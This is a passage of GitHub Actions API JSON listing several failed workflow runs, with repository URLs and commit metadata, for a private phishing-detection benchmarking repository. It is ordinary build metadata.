ithub.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287316132,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzE2MTMy","head_branch":"API_Flatten","head_sha":"f42e4ed29fc3bfc2894360f6706d4abce1fe9f30","run_number":1059,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285254191,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MjU0MTkx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287316132","pull_requests":[],"created_at":"2020-10-04T02:31:21Z","updated_at":"2020-10-04T02:46:20Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285254191","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287316132/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"f42e4ed29fc3bfc2894360f6706d4abce1fe9f30","tree_id":"dd1886a2c272b6ece4aa1697c637097b29595a52","message":"Aligned extract_email_train_features and extract_url_train_features","timestamp":"2020-10-04T02:31:16Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287226658,"node_id":"MDExOldvcmtmbG93UnVuMjg3MjI2NjU4","head_branch":"url_features_fix","head_sha":"ac5ab951cfd13aa872795ce55944840fc7984594","run_number":1053,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285097077,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MDk3MDc3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287226658","pull_requests":[],"created_at":"2020-10-04T00:57:16Z","updated_at":"2020-10-04T01:28:37Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285097077","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287226658/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"ac5ab951cfd13aa872795ce55944840fc7984594","tree_id":"1843a0ea8c191b3baee469c097551eed3c95a415","message":"Made url_features.extract_labeled_dataset align with email_features","timestamp":"2020-10-04T00:57:01Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279532862,"node_id":"MDExOldvcmtmbG93UnVuMjc5NTMyODYy","head_branch":"feature_fit","head_sha":"675d8953e71397a82897740cf5f7235210244661","run_number":1042,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264455078,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0NDU1MDc4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279532862","pull_requests":[],"created_at":"2020-09-30T00:34:39Z","updated_at":"2020-10-02T22:25:12Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264455078","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279532862/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"675d8953e71397a82897740cf5f7235210244661","tree_id":"4a5da3d1c41616abea86eb154f2e648dc18f45c8","message":"Fixed get_config","timestamp":"2020-09-30T00:34:33Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/